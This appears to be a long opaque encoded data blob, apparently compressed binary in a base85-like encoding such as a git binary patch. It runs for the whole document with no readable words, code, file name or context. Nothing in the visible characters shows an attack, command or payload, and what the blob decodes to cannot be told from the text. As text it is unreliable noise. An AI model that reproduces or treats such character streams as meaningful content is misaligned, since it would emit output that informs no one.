z4&8oQhb)z$2~aNCca6@_%X-vFY3D}l4+t#0l|N#uqP$;h!C%t*OgFw*rkfE|do41; z>{^X$z!uh5AdV2NOfUo!Bu?4(*pj8d9)97no&Z`zZB2o;7v#9BSR3{wpk)GR`vh75 znm~60D}g6lCNSf@4gogMh$W!$Fw%IVa>ECf!UnQ~7CQ3;$y#ws1YBV9Tj+o}C-DKVZi<&uk^>A;`p*nu*wM zBaM^-!eGm%P)0+^onv>c$5lYeKAn_UxE>W%v;o9<7`bKT3AyFenK-9t1ti@l0a~T-Aa)NS6(qKft>^BVb=beCDFf3J^D$H4Mp?ygPi6|-otY_ct2keV%oGSY zfwQYbB{-2O@I~w-a~s=i%{JtEMApDCQ(%xG5XYn?V_;@tGK^MRkPI=*6u2$S6!@Z3 zwQcB3fiJ=_g^ZGrW5hZyYjfa3Lf{Xi7R<~PxDD_EVvFV0yr>I}w=TGE@^fyt9uM zr7&Y#o_AVg9y6t0T@;`^kc^nrBJ<6hByqwrGBa=B3%Zj1tgnAzdos*PKrI55S zRB=e{R9l(*DbQIm9G#U{q|<#(5SU?oySG)heaR70*zezjl0%F3LQN~`-OtlHQl+fU^y1i;En z8f3wVC53lh^tI%4g;}!%Br!=Niu4AU?KQ~KC^;JgC}ke%9tDU>I8c;1$>3~_iOhl- z=!!`g`>j=5WyydU_OH>HU;iE~!h;jf64~;}DcKr994QJxR?Ce$psSkpV1_%I5?<>WR(){C2C*H;ZlEb3W*v-h7w1BrI=Tc0vq{y^T0?r}= zo8-(25;e8(cnTZ}oF~#{h~s0dM2~0#bBW_; z=Pphwqc`is5R*b`*=G@|`~yrI{pe36Jn#c3ptSurqs?Lj1K^Kf!WiTV;@OWNSJ1z3 z;vm6D)58B6Ni?XqXv(ES5{`8&fYBrhDUdNu8$rvGdyCh|+XHi0{kV zjl@i~^Wx6CnzPQ%>$XpoVBsSfj^N&~k~q#t$|{Q_L7JdQlLH-!Ni96;TFt^VZg(-Z zaR;?%xZNN{mK;YSfI(nl$xP#78Y`_Eq^^^EMegWWt57GuG(8T^AZh+9BiV8^JDCJ1 zoGnEz#V3p?JiIdpU&BN}C1^gV1(+BW5amPC1-S^pi?&Ql6r_)%1@XncO3yitduy5` z6s?JZ+z-PPLCa8)x*9pBg8q+dBv~ui+Py;4MC2`yL_r;rDCqRR=fV6}q1H7s5Ax4I zPe?kT0Ve0s7V*wYvY;SMRtc5}?qLl{4j&L`;{o4?gyX4FahsOrN?ySryH=bTe?nME zDkk}o`6s4X0_9WPg|yT=k}JzdJa8*Q=5;dTkg4bn6BIE8Pyj#H3#1U)@j$aHP2%p? z!VZeF&Az25nps8KR$g547~zcZV$vd!m3f?p5`pTOJqTfR4+ULb#e6`+cS|qGTk|=| z=n^E|p8YghD4a@*6Hn&T2tbrFrM{=Q(Xxo5AejlB-mt$p@)oBYe$Ml35vInr>^a0kv+{U1$M@*LK)f8tf)dPa5 zB_^OtklsMD@N|fdhy>uIlIcvo09OJr|%$=awgjq zQM=zPg8z!UuE1W9$0*Q<6_~`xwkx{dZAG&QQiK4P?N2r#fk;lw*;Ave)`>i zjm#5LyFcd${S&fuf8Mw>!DQ?HI9VNbNz!%s^+1Hk?bkfHdnSlhl2WG@UjLja3 zvDE}N8)G`bY?mhKhv`cbGS%b z`&dC1#ulV7mZ+00MuNx~Cdb%1sx9?vRU+71DLsn`070ZO6o_Q87NU%S{9t2cz3RlY zIhpwTqS!o_Y7a_1aANirVC~nlsXnv^A>T<6uB60&Dt^{!z~<*C$L8%q)WwBZ20aKP zPcave2!k{kfAezdXBci}*J)X`)knk6MBX(n*C{e(Z`D@?qu z2|y&T0-S)b10g$wcb-W-B<~09J@lTq5|iIZ<}$vHyvm595MpH>oqi1~`O1WC6vpd3sqOr~Lk9L=y1X0VaaF#8ZK zN78JB`6tjvsajy;+DT+UY$Qmqq3JbXYtn>w60S|XnAr9pP*@3bC)%oHqzN`q9}{fk zF~J5~0Gdy-J|(oBw4i7^!CZM2%gY8-xO3f0$ZB zdn8L>f(;6X7bMuw#%8!qb{XfQj)aJTLm`nD5*aq~aV6+O(x39y9K4L8!wehq{v!Yg zjb5_eEl6MQR`P)c*|7c<(VPpRIq`okH0P6};ZVSUlDDgTRICOTF5SnEK?hevOCqH+ z%x9)i3^M&l1&v_Ak=p^xc|Wp-T9N4udR>Geq^1kvD@*dDhCT=xqJ7KO3OyzQX^3#_ zb0ob1g2wb=jqG(Wdy+u}C|IZZgGT`S1OxMdzJTE9*fE3)g%TN9l$|6tpsKS$VuQ$L2wYdZ0Lv_v=9taET1S;9AvbtKsx8H!8MW0B#P`MK5+H?r zuy+Bh#{m{R*??x|s3cOrjt3&|bx=u+Gy2{TtYlba9%~^q0vIxyaTqDZj(`Miz=?-f z8qV=p2M3lR@FEH!UXuso#mNQP0A57aR7|t`ffzPN3=lIf{t@wFB7-DeQ-;E;Sn$dn z0xy{Qh}XFoLfmL97a}N-!OEHyFD4QngjY!lUINxflrQ8jNE5E=5G)|Y?R{7oS1blv zjJ!{@fZ9jJYjzr5^!a6#uLXivbU3_-OjgK7j#r)F#U3bKGlVSI>NIpuRM9gP%P3#x z(jZ$NLI$uzzK}8Zli;;94X=lW!mD2J${!A|6tD!kgouq8FSU3iyCm@nI%B{!)E1a_ zafS=Ws7@(N#2A}(*K!r79di(Bl06{nQlJrfFK#=(?FDUW%h2nY6saQh=l?oMg*Zt2@uSla49h_NlUoIB6VKEZT5hV7w9n-`0zs# zE?w3HONopRKP1)xDQ);FM^CZYKcCh(K(t~uWG=vOHSPl~;uiu2H~}Hxbl$R$E|qy) z26#Ac`pMCooy_-;jvh(MM2{Sa{C#ZnI7=xRgdR4l(HA=xH<+&KhwL9#(k`)uL-U_q zQ5lLJO@7?-g;_A9j|v^Q0X>zq1au;a%(%o^a3*>PJot%auW~5#NKz(x9F*#dWCv@Bpyw)drUJQ^ph(ktE=kHnk9+~Wp>i#apyx8z63IyKxjK_k*|R^S z)+Ksk=37xM=n0a{wWR1xO+#-ZUKkp^5F7%N3VJ?dL$_mJ@WO* z&|{`0l97(y@`UW!=Q!rlR?0yG7_L|#=n0a{w4~@2r=hnAj}DCl+ars z>kP7`Lx$253S(l_AV;4JJ?2?rHR;j1w^-2IfnSnm=^SvAv13|t z)ZoN)X!KSNfgUm~rJy%tmM>B(vuF&li_x_?UqN0=rtrhaD^jODIIZWBq)gdM%vwJ7 zsKG2tq=)F4QUtaNP}5xn95aFwE4xvBcw$BD*VP&JYmBG2cP!FK>&#ccz{M%{>gcnw zE&3kB4noYE$0CT=Yb5kFb|@lQ0OM9`+fzn6{oR~yNN2u8#1p~u^`^DpNkVrBfgn{`PGuibSb=zuY0?pPV!OAs7Kuj`S zX!vqJdIMaWFn#xdKx~2R#(VAmI9hf#!U!Sf=k#>3#OV&q#;?%yEwQj^VGdH_I8qUI zZA36d2}uuQc^I2s#F+8s`9&k^OT2k=9K3mekg7(Nc0R6b6? zc~%1b!y>U~RXQ9BL%{iCxPe`sxS@Hjuyl|d0jx`oOxR%p&J&2#fb)bcGvGY2qroc- zI8Wdm%>{sf^K8p7;5&JZB%_AL{geRl&LJ9Q@+IIrD-8m_4+=Q%NFD@i%q6xkvlD5)hf^0SD3T6oP@s8z zYk%0t;ajunf`kqdcwWQIYq|i9K+oohqXwJ=S1RE(WyRRq%D%vgo7-~W;@lTOkkbKC z$$=WsL^kIA)R^-REke7CiC^sdQ-Tn6C=tgu`1zfj>Yo1t56LM>e^xGnvm<(h+igd0j3c&S0O{DS@}Kvjf?`akbP` z7f252v&|PGdF%fZg$_BS??N<_5_=P}g-9?H#N~6|=kx}4{V+xfGIGnHnHHh11Qc{( z(|HifBPnD3A(ly6v5b*2Ou6qN_MgTwS!N#(0;Dhu z3HBJ=Kgr&oD=|{WX{r4r_vB!5HJAd{Q@QGO`*5_=#R49wH1|(NkQ7h&vG+$&*W(Op zq9IeV!@zSg!_b?+fdONd+sCJxnFvKwZ63i{IFLNW-j8DyS#iKl(_zX@;!tlNFE%rm z+nEal)@mtts=dDeLr588^?e>IydC)sTQ|KmE#p|$7AVUi;f=9pLt6t}4uyS$U_s&0# z104FGdkJYH2A-dS>#w*qUGiSUeZy_+!qyAcjkza^LX4j{=EJy9+I}$#l>&T&y%ks0 z=QqcT-hLj6#V9K3KB0rK`(;dcDi<}<^jCx`AA-EH=;{EHNq>#i630-bk+>d@n?=Y=x z!%3vS`y-%=2z`$h22W${*6u>{UqY$gz@L|c?eZcJ+Sp|uT&i0gY)!W=`~*J)j|Hp% z)!8SQo&|eoO=5xLl>`_03EIf>+(`oQ0elDCA`7G-z$8Jl7Sq8Uy-ckj|Kep`C|W(xurw3Zzv- zSn3b6ku?TVed(hpjX6WZyq-m7m1bCCGht2_WyrRBN%UR-vMLW?EC3@)qJpUc4Kx+$ z4aCX_n6?~K)m}Rndr(8wyj+m(<0F*j>QFTw!JsTl;bU@J1s zIzEZgs2*Brkj(5b!(^MLn-yc#&{x#WQw3@JV11}G`T}Y0V}0c?^QP$LbGVkSn-`c3 z+xg(!;t*z=Z~wK7Z0s8NM?4JVGJG_%!73E6QY}^rNP`Ez}(OJ$|r{K zs!R*IyLo5s3{e`F@m*kkKwv&2KUF>R9KGH3BCm*gMp`ye&m+;zSQZSH=E1s|)qNb@ z{J_vKliutwBgH``%vp4^s%70DnW>v+r0QnCd_h9uZ6HwQnalWG0+YmpxBvY&dtw+r z6T2kS;`=uDP7YQ%$lrH1BY$72&Hn#4o5|?V=zb-eNd$9(&}JeLr#_y|1jSt0W&)#q zrp*MGGHoWfl*MK;A=PGrEOBBpxl)$6KC4;cdMvZV^~1cx-P^P3;GIVTt@}s2#~g$~ zL0&$r#KI(TJqY2ZaTa5Z*gw}Nu>s>0z{XxW3nMpiO+Shw984IaH8mVeT0ua&VZ$wA z()ElKg*~!mebi3~y@*5MjlGgQt1lxYpwobuG2+0GXli;yBAH@HV$IPggT5Ciy9lkYY50pet^ zx-b(QBF-tSf{I`(p%xL!E)7;Jb24GwG6bw6$oU3XCFdJp#W}GAtjh#epa!Id6u6bddVk`4+P4ZC!`$kHfPzDEuOOhkeGb{;=h60N?i|9p2 zWtb_gsiF#46>gp$2@@J-g%yf36ILv1GGW~+G$f>TnAC0vFWS3hPYMx-$l<0L+$aIfy?iW@yA6O&<@PWDS`Cc~Of}7$s8+06uB2KyBTrER$5?nMsA4Y7 zPwLi9x%4vWpEfiQc z^XAB5m9onEF?K<>nuUvpf%W4lfoX$b#j+$5*4?B!3#>urwY2PNDXG^G%ZbuDBal|) zTYw_=}<#*o2pxLFZ90`bWZf@dP8t++JC)Zp0AJ);rlNq$G*W|drC*oBmw&0fY) zG@SHuFzsVxA-F(3?;gkY8@Mj*EADIbV&H5Cqt3NoAhKpwE)SshoB4%sqat#xZ9HcY z7uDhkzxZYsAyemK>(ZaazlAg)?H6;MW9=X2I@pJP2ltf6rJ#P)g7|{ip^l&{ArBs^NHCk z2AhamB20qac{3QbB!~?vZ2ARLgC=CN2HYY()Xw!Kp0vyWHU=k3d=*t?3LK8OR~9qXf~GxY_9xN*sK>eF}sJzqBWO1Wad2) zMkXDG&CG6@U>jZY3T&#&D(s#cW!f`T50wN+%J27O#Q78iSmLOVYYlHIef2qNU9hh~ z7%B^72jc&pKD(+7RV5mFqs*U%WS?t+fPERdJ`MIcwGj4o{RZ(4;>uN=A=&40EMQ+I5T6G7oZt!jx`Y68^0`4 za$y_7WdwMG-(+nZmpI-|9OWLiYuoq>TbJgQ_y|&o3r)CSpQ^(IDce{T`Fz@7yiuMG z8P>rVqq2_2$}p@~-;cA*PlMYw6a;R`XE(lb``TJz{7t(kVi1}qV0020r9dPZ-NIjF zbaue#YFw~SEggQXi`yu@ls z9h%n^hvU@5IQK;kLrrfVsOh7CsrC0>w5G0sn)2uuttsp-|3-zMzor*dD8Hpm(w14Y zpIdo^(B{>>R(*uT1@ZDpf|+ef0+iP@2V-}vrrS6SHT4eEbQ54|eeFeS>K>>mkA8ug zDs#Ot2ByNlV@=PiI-9#yNqa`^igVOQNJ`;UA7x_~l~A4{RuUDAi!&8457ll*T$< z&FRWA5p9aflB6XKfJ>x`SWTY|@~PwORc_3FZ^P_& zl(1tpzDV&PPAD9neHgIBYT-VnIq*Slyd>bI6CWwaK8qIzUT|E~gLd4H3X6{cE-XHQ zm$0xnjQR_cJA}pm5GEfuEmR!D|Iep|B@F+Mk$Q470DJLr827&miw!&`-2Mlf`?OFw zX&&y#rbk%ZjoTq%@qR?=IW3H|;C>dM_fZ-m&Z39_d)>n1eF%C(m`vHdjl50*j88#N zZbh_d`8?VZ6jzy6f@fj!TZjgYmp z10iqX0giy!QC{Hy^}ac%GLzMS1FyaIRGN2z3Y=C}< zPsBpBZ_;oO@$xf~dt)NABmN-qb3@(WO}_WabV`EJx(cLC~&-=N;T zM7vsBqf`HvQ1w}k`1wR4H-wy@s#}rhyHS-?j|)(h^sjGFl{9Rk>T~8jM8i4f)%5@0 zQ*~q@%#o&{`n*&n4gLI7r778Wqv}z!sPl|Cfp>UjaRq}0>L(BK*dqh`%zKDyTg0mw z{|l(v$&tPwRcTfN#V1BskUp;e1ZWQW-Ka|1@CA64rUaZ+_VIw zE=Ih07a?BBMToc0tV&D~ch}Ys@u+@7`LJR|jCdz_e0PbHh?hl_GJ62HaDaFuY7lM` zZ}K;Yx794MpLn5I+Y3;ypF`t}N1W?%G-+9@Xy~#Je{}ylaVgB#03&bdulQCGKw!kA^>lo5aic2JyD> zzyacIibekKaNc(ldHHT2!SzNUeX(u}BAj>nJhaD-+-lbAJWMw-K(*>8*~kizkxygt zbBJCvqTs&nPF!k5qFk2=DM|eX<;)SC1f)s4sox;pOFZ2G@gC>z-<9+JJL5%uDiP1j z|DwdZ^Mb^4ud5hJ!9kQ8xs|Gl9vnA51gL79f&*g(C)F7q&s~xZeDbFfIcekb+~mBO-yq^^JaB++Psbu(yxaD7iGGEJ z+rj#W1jxXV`GnLaGd~b3E~w(t5j^rXYgoZ7#LUUH&?fyK%llkNqwCU(^Rv zad-m&3Vd1~%)oJqYMo1|JL)ld?C@!U1G}@Wup^6}s@_owKTzsAmAVu7)IB*R)pbb| zw89Rh(4`f+ynbtWO}XV?!bV!{CY#$6jwr~0=0~&10|_5fj;gMQ)aGV3p{GOc#L2at zT7wNGOLk!=TqjR#hSRp&(;W&OSc=+3FNw-Fh)J4nHRv=5i22sW9-xlouD)@t{=cy zItel>IVO?9;wAFRE(^ylff`CWi5yzNko)&KEno_me|;t5l_e6~>|HhK|JUX=*0|U! zV=b1-%3xT!##obTtVw5Af(H5oWNb#Mb+MnvqaDh4H)xV1v_FYr9Pg({or-hL~1mH#|}~{ z$n6C^i7mvllFmx_O>JAYSWoq_-%tcL71uTkvbRu!w9pDdxla|d-0JOFsp|SHm)fiz zwzuZ>t#Rf>g@kHU;Z;?_EZ&M=T z2@k#R=uc%4Np{;Q!Nm{)FAp7c(r-cnE za>S{vaaIfO3R=Chr!@&Vh<6LGd}0^mKjOJsxPQSJZOs|nm%8Oh4(>&nxZIbct;vzk z()-)h!VKX(SG7<-0dJl3wwKkC~tZjlsCQh=k3&e$ZbKdwx(A#{>yx^C^INudK;84z4qtpkk7i;k2)>f4|=(^ zHKHlGM8=Yn|NomayoBWX-XCbV*=JfMM))N%ENo{+D z8V*gh$|ZN&?d?WZ@b+ILS(a8p;kX~f>!u~Rgz$e6|A~j25<^K%Mb=QUwW-L4d_%=H zxz#SW@!Svg=MGx;$K|oCa;r^lvk?xz?vJ&}j3c*N3Bxukg@*b=k;ipFBm@6c{9X7v z@b3j4XYfCXzdG-+6Uw}eCva!DGu%(&eiHXC+`Di;gZmlWqqs+L@5LRTW8oicws+a1 zF>LTYU1_1+WOqySR-T&G(z&% zr=Radx$kU6DMrtGpmZZ1kypG;&YEqKO>J@%xF7~a-o)_i!oyVjn~Llc4~L5F^5>j- zUvTREaZuKTTP)5%TYYYmzu>J98WeNWpm?YOY8Y#?&+YOT)Uv`uK727@PzvN7B82dN z68~rM--`b>{CDAh0DsUr1GLV-JstOS+*5H+#odiNg}ZQf;qJuUiMs=L9KJKSZA==S zKz=9j@5SH!!l1S(vV#JH+Je8Mwu9OMbweBzHni=YBi+VQuC~gZLNF`@kKj!`EFZ6L z{wzsc89Q!p6Z$q5Tkl^$GR8*&X=x7nWD@=hsdJVCRKEXSDxzCHsn&r4`s71gJ z0js|su==%t)z{Z*{LB#T^#IDcRoW8VFD}HXG@m(wN5nDa_gjz@<<%#l@1x(}Dt#dz z7sP9zJVk6`vN~EB1IY@xdW&>gZI_SRMS&QwsQ4DC$4p-Vrj6mQ+c6%z;zm)~9ocV| zs(Z~8!}~)C z#@ZT+q$KJevD=2gy(V03(ce6Xk1B*2b{7zywHNBmiuQQ6qkSr1ce} zuWy6BL+&y>d*x=w3l^)jL1bz{FH+vnctXs20lJ7q9EF?35N-OOv;u=l$!>1Z3i|q= zzV3hOjXjZuMc>6$rPOjFRdBzQoIBqojR&c&K~twer6P4yt#U&T7!Lwn+G@41`|()~ z|LCPk4%?oN+LOKpCH}A)4a~5JjyVgZo}eMVEB6`F$n3Y9>>b^<_L|{BdP?vr7@JjtCRu9*~)Q7+m)4L!(>$ciqQNUn9|`X z0!HHr&GhV3O^(Y#cEX!bycH-Ok!+z+L1Wos>8F%t2#$ZCA}UNAf8lr5Y$6@AY%++0 zZwyDR(ofh%1VTL`U9$*^2YVNa5WO=M0eXZTzY1-awh4^5Wva*SW~Z*OShk2zUD?f0 z%YxwtlGvqq(BER$;rq(L@VZP^b~%3-wFZHqHFVT4;El4Ft?WFOtt1m?=D9dabsJ7QdGX=TM zWkqE&K@&rALkv*2CzTE7;Z-4u-&M1X8f6dW3P@?n23PJhqKD8(CSOjKKC74@_t~Ur zYH}848{jEqj^ZU}I! zb<{TfO8RhswbaNNs6IYIhU%x%lp+?-6J|CLfMx=mU=WUOnvObIF$y!JbVEvIYmlxI z0u+%-wZdL+&16slvC^JKv!JQQ)a27dOzJgfgn%R<2cu&@rJ%f8kX0pt(v~B|L0`Es zZ8CV;NXr7T)oIVsHHyln%d;(FvT-BJK8*x&t3&$S3@!7qbb!=p&myYlSfw(a(jdi{ z+{<`^ukg_!p5O~Jj*l@wjA>6JnlheJvA=M@lk|8Hk6;63yctX|*)T*QcRZmbCY7`Q zr2PDbk(P094OO)q4`PT@0=tx0&AeOder( z=e1G}xAC|<*0QBUCDxHbOyp#fFn6gmCtaJ-S_f&m3jqrqed$Xhl@MZ}15HPVVk5a$bq!2aA=jblNNzO+ zJ<({IANmGm$NJdKBpnhxsX#~@Px+)tsVsM`eOtU}{{VBD5Kau4LS zG!?pk6~Hq(0%nF!17fnNI*r)Wcvn3NGg9!FC>qnUPIsXh9Q(0NlPJn#`preB;E8}uG6Nt-okmOglCGdLU9ksuX1THmG4YrR_xab7* zQi8UyK1fO8Ez=g|WP3@rQd4fum}qzV{HaSp^rT&MlBS-R*IJjPwr-&izr)Lhp}@+@ zE$Mhgq|5vcpE8ZYSQnafARxg%wqj|E=g7+e8@i;+CO2nlcQ_i(S`zH;x}?pNTxYNW zw6H3N#S)lBEn&f6V!wgffr44u7r<%~Jp$)lln>!dEW;5v;aX89j26$KXPR6Ei;^5otsBjw{u)s+LRU7F@aRxtFkFY@ z2{^YSzFAuHstL1rVd)LaT}C|)!0j)wWg?2IYB5u8MNwwT`S2%q$!AmRM#WNS1wij- z-;V5e)pQZ#UIEg2j)BQMVQ!fco(O})>C6~LN+(HkHV^VbZZ{%rc=3dD3tc>p2wSJK zoc)a$r#?SQr-UMhdpC#I_S=3|1~Iia~T(eBVPVO7x+c0Gv! zyE{LtUb=cv#Jxn#k0vyKlxR;4nh{^&5$9wD#L?_u1~B>~B$<4`0M<|sCzZ3OuLDiH zv_iMH45M&4JDr1fbfpvJKDH2H^1h5X>msE^ZDF-w92^UF0(CBDbkt!bmwP8O%gQ~+ z{Lq*xHJEX$I#2%w^_9|C7gUiLIi^wJ?S?)d%>;>d0;g0mGSdLR`ov>0tyT%NtUf3}&%h_+BN(R_f4l9=P^ndDA6tCf{0190{$TqbF=NXo(XXURP ztFG^PkLE+J?8BiXGA2Za*g>iKm17$%UsZgJ5nv{Rf`5 zq~f71AsyEZNZXc>fu|EZaweV@@TV+1O+(~(SA>2&%*TF(@+tm7t{3*;Dkm(!d0d_e_%;Bnpd@}& z$2L@{syp8$i{)M)+m3^oxd5hNBp!o@=E&!)(j{K@A#t%BHN*+UC`P{&T_X(KLWG`kQJ{I<$JUA<*j8l-sgOLR@!M%VE#(skNay3TqI*Xl>pI`}PlAHR)% zmfsSd=C?^t^4pZhaeI1WLOX71p=HZ!{O;Hi#vQ8#TMp8D@B<84U{yR@Emq5B3f!^} z<3n4*E?f!WwuIO4MC5NvXpcSl9ToS4Ep35=c&GL@-&Nj^mD>}dcyI2ssL2lWYkIG_ zlk_P%vz;rh7#%59j0hPf5xj>?B4EP#|1}X#fC%5M>OfKnQSHr|{Sz8JubDh6hqODN zsVYkjC{=gUbbnkfSH;CLc6tF-Q@YiR0X;jP3zHe7Kg`D{TnUxrs!}$G9`oAPT&gAp zW=@|ajii~3m(5woJ0zGzfPO}*n)J3OybR;5nwW2I)4#;{Hl6z298B9Vv`J1ZmGPl1 zl@YVWWciOE)`8m0*Nu9JNFSREq$*L|xNy%=@m+rsixQJkhw-s1X@;S8VXY?KHSkq5 zSRz;!ifB=#6No+qy@U4$8V#V3@hM@AVF5Z)^Evro6Hf)WKjCA8a6PyD`u_ z0)~hocMwxa5@~t4g>LZ^AG_&uAnMioq_FvId1 zi<}s9mMz^+3mzC392h8^J$q4i3s$ylGpy1LFf?2_<1VXoHS9U#o0)q?flV3@;K&(w z*`-uieXv;6ctSd&8lG?qx08(v%k5UIo%Zadejuhd+2p-eWc8_OQaakRm-tzHwpv91 zm2n8!?WHo_Kp8K~%{IM}2DF-^yRGgOn-SOI#em{g?#*&*_-A+G8?rbTL0QSXIFkT` zMs+dUjcSEmE4EPd7VN-Zp+MmWp=r&ol&|Ob=H8G~F*hd%l1M%Y<5D>`tyIy5vz~lM zBBBbx7F=nGwGeBby&6iG+pDg2sSi5K*z0#u%Q!}ag~v7`7K}kcBTY0k*BTYJ))8T` z+P6r%2a`h2e$Nq4x5qF#s+J;ugxtQa!kn4pEu&1FJj46=vja(dWvtZY)tb3hac~s~ zL2KHJsEO69)q)JKT9A$@U@X#JhlT9|r=zr`q75qbvj$E7IPp+tH(HiCj9GPx3IMVv0g6fGUJ!oZU~rEj6`-82hzZA-&vx#z@-*%*hxh-hv(`&V%-Kpvkc?)R^qVa9Ew2u}~aV z&~Ww)YP{;xGA-x;)T;$4&>N~c$8sZ(esO@$NP7+0Er$QVGS8ouvb|?$+$p0UdmhB$ z2g*-M#bm>Rb5hDY$L0;wbr$qb-4wpqLnt$FR^>cn&$uFf?f_4B~x%h43p4UuaHL zmO7LLPQ`~T&(J(qokoky;xHbltwW`z^27IEUN<%u?nm@%uCZfUc;iFS*a0w8Wl0NO1Q z%C?$iFI(yfV-A8I-f(g<@E_oLjLSy3IE)77)*@o^=Q|;mE&kiJASn#=5s)RYoM}M< zE5W0x^C~F>+XZNRzLbgl;5MS`EB%aff1#8g?; zsKzn&vd1u?A<+SQyChJZ%__fL2r&4}^QUEOF>Gp_L?nPR&~{u#7}MynUuM~>42;2K z)f}*j!lrFG=m~r2$M&OaGLb^zU9pdt5ejbt6kea-x@Qa&O`qS!B(S}YeUd`G&CShs z=zGL6=s-eaA$V8yEh)$BReduzS4@_hUD`vNP)J_;sxRVCs~rfkLDudU8cA+7Kh5_c!TBa5)k=tDI zilkmkgF%I@|3^bEq(E5RutIXR6|Il~i#&`=LoR~D(lEdp@TyAq0~BO9V(lu_T;~ zH7op1<4C2lVTC@-__2fPORr0pqoRvxGD!L&7=G8?tN*1lx6n!Jb}ld52-=e^n#KaG zt5kGBdpn1gFqOzgu$M*NkYxdTtjS_0K0su7!?pbNTJ~r2bt-?I%396Wnf!Go+iAY$ z^VfW~)qI`DU+1x>%-0hBTEd#>wPC}OFhnVpwS=uBh(DR#?WSG`rBvNegH^AwaFZf4 zFnCvJFvtQ-=H=Tca$HlzH+rxd!LFf%fT0FRdoR*XEN6eZ3&6Zt2UCzPwZZ71yGy>= z0;eukzT8XziWm%2R;a(vpBMHvl5c{Fpadpn9se{%=H^J%G^93 z_z6kH@x`7`pp2_s+;_+mU+8i2?9spYLeC`RU0G=^^w2U7mP}zq$fD|ax>3SDkZ>6l zhc*vTnA~c>N4Jp_j%-CCi zfJyRwB&=GH&8z%@on&Yr`Wgsj#O_7{sO&XYx55zrYfK|5x5QiHV_%$NFX7ABF^Wxz zQ|w)eOX}7*S{ggeJHlX!L0rIk>fqTgZRu}fH0@HFtR(a0xynd4DCb{Mvz4gWjE3=# zV7~{bk_?T#{(OJtvT`;J#l!N|uFU@clecmHKB)NK8Zv;fe_xKg_PIzLErQJ3LbgC< zRw}F_3H0TXy!O@CSGN^7EW_nthEnMa+?5q*D#*&J4;5qqK56)HrE+?xa;n^%kIXl7 zOJb{5_$X|$N6`+|a@`&%U{|Bn)WR^S0+-RF6Z0rJ?0~JDPN(bKWtOx)fiOJb=`K>F zj@)Fzp)S*(U(VKW-io0w1Rn!QR341j>N%zE9UL+Zce}i^g7!Lv-9SoDh1}OCmNi+n zTE+QWol*+an1jFw@j&wFDn1FBp!Ue0OlbZj(LR-%K;e|9+LT0O)?^74IclCo6Kh2- zRHXw6jUs&AsuN#`g2jgl#DT>}O$R^yVa2tbYHsCpQyu&zPCg>j5b}MSZ2Cc}F|v*% zqVHpoKt5*|G~#&mG@&<*Hws(^XB*IaX7`CH!k!|BD*z-Tk0MrUk)r_?s04p^1q|YI z`J$p6{t}3DJupg(VTBMt1?YK10}$XwW%eWkNoi5n$#cusN6_-?F#h5^Z~gTv%$Nvl zOC&MH4Oz%-xaxSaE#FO`xsjQ;#(NVu2%Ur7hX!l`WBvsFsuCh*4^>E=4U}%e7w?G8 zqN}f<@vgoX+7hsQhgvE{Zp+8v-w4)<&*U|)I*ygZ4 zD=n30T}x&VEE3OxT*SPTYxJ*EB+s$(ve5XfOwt@apsc6S8oV-VD~u^nk{#18lWb}a zW~yFV4=uy;7A;A__F+diqlq-15f!GwA3EJ9PvnA+Mmkakpl49~IF;$V zgSb5VmHE!V>?@>^o-mY)$HPU`51iYs(5K-Wdsv<)Z<}IV3dadM!rme#ku*aNu0g>? zO@-rN9JmzoN%a3e%*+%WGlxkpAbC=2v0>4z3*?pQmcVRu)i;4gQ(`QJy+}XJp)V0~ zi(If#JCzxn>oMU^H7uSZb3FTXTTww^_7d?dq3P*vwqizDmu?YVT9Gv{{R+vUcInAb zw~yo&rlSH%Vfx{SKH?UX?r2R~QVcxzOQ)I=fnY)I{B+5Q!l%z1CQe0Z*9d#UUiPah zsuFmg2*c}JWZ3y#PXfq}H^W{OxgQN>W@ z6eE-@@>Q^Yl4*}v1FIy9!RZEHGH36d!Ii@Nz*j1tQ^+gN!0#by z@s+>6;FJ7U_droI^4i4YV5>N+r(+A5O7&{3@C-x+qkd5s^%S0g(Z(EyuBV3+fa5_c zJc&r16ls2!XZ}fa6b}^j_Pn>Gq?Z>WZ`~a{B*DEmd1NsTtL$`-Xouwp`S%=FxJj0* zV^CE}(YsGlE>ZBaAxb{Ary6UkZn$Gs=O#+g*uAR^70T}M9_}mhm3vY08KePXpy5qk z_InKc>d{Ip-d;mBhpPg*dps8CI;@QCIzqa}F_hLtrM2k8Vvm@4EnUV@+5GGk=#>eC zq?p8wA5|??@W93zEa_Cw^@k!%gzGz5RNM&UdhF({=L>fB2fsKdn0!^@8MxvxO2K(Y zp|%CPADFb+jj;~KE{+S_)ZuWg&F?M6`hD~#aAs3@M9`~S_+=PmglJp72P0BiDl${2 zaku?w&3b^!jd#sVYC`n3g=*Lj+QdOrt$xtc97I*=2W{mbLcbrhkAt=i1|8*~mj;8n zIB3^kkn?py;K4eS<-Fa!~tV(7haVa4;yqK^=oZk8{vFgFsu3;-zLA z!TT%J!DD?eC|1o$4(c2Xa)k-|6N5pS9K;5LW^&NU!5}XOof!;T&Ou#+LA4wd9SjO^ zQ14*SCJwTIKl-tMk%JtAL17MZ4hD5_kZTZV*%o3mKEWk!PwPd;K+m$oIg*?jDgfhw zQ9N))_mz9P>umx{HK2s-_CP5Hf9?Qjy(Vy2_YvTDFTxPEJp=%OKrn#Se{AXkW zVGMk(#p<#6EuTRVS$mgf36GIAP=GObA)P+d@UbqB9A!K zj7K!bBiIQAcb^BGLcEaHS3y0a~q zpJ43(LqG~&2f&sXfN3EB-)5cfVqe|~G z<{Pj^Rz>A=eL}Db#B1Cy7VDRT0>Htdr^^qz`otS!IUIO}$jg3D+3*Yo2(#lulQ89+ zFgLJY(|h5W*cw4U{Wiv;#pzd1@AJFVchy_qB8GgaQE2Ke&-}6zV}eB*zL=1(a_f6Ik}Am<7Z(0_g>?1&=il$lbN#Nz(WX3;mv^SIShL zk)GsZU%!c%@fieW4rDlE*+8fT+1x}_p^ikwzMcbV!mD$MGMndS+$guDn>h|t?60ss zVJ;0CgSm{UZ%|Sr&2;49{Q=-IwPdEf-6!lUNELQgCd%P-&k=ibIp{hLyAah{S6<($ zVRU5lp}e!JhR>11lk?tQ1qUZIwYklS_g%W67=K?40~O7lycrlTCt-tuWNO&X?EyZZBtt@)x)N=)>X-H6Z!?O2s&P>Rs{dfRkHzmBnA_& zZ#HaREo0Z9O7h{7s;u4SC{^sS5JCsdXIehZ86VZrfG8oKU--zBfN~hec2M6l6DbeV zGp4q3-{e)F@Xk1yDD@diXSbb%%*bDd#vjcI)}h05Dt}Omvfq_LkkrgLhV40K69nM9 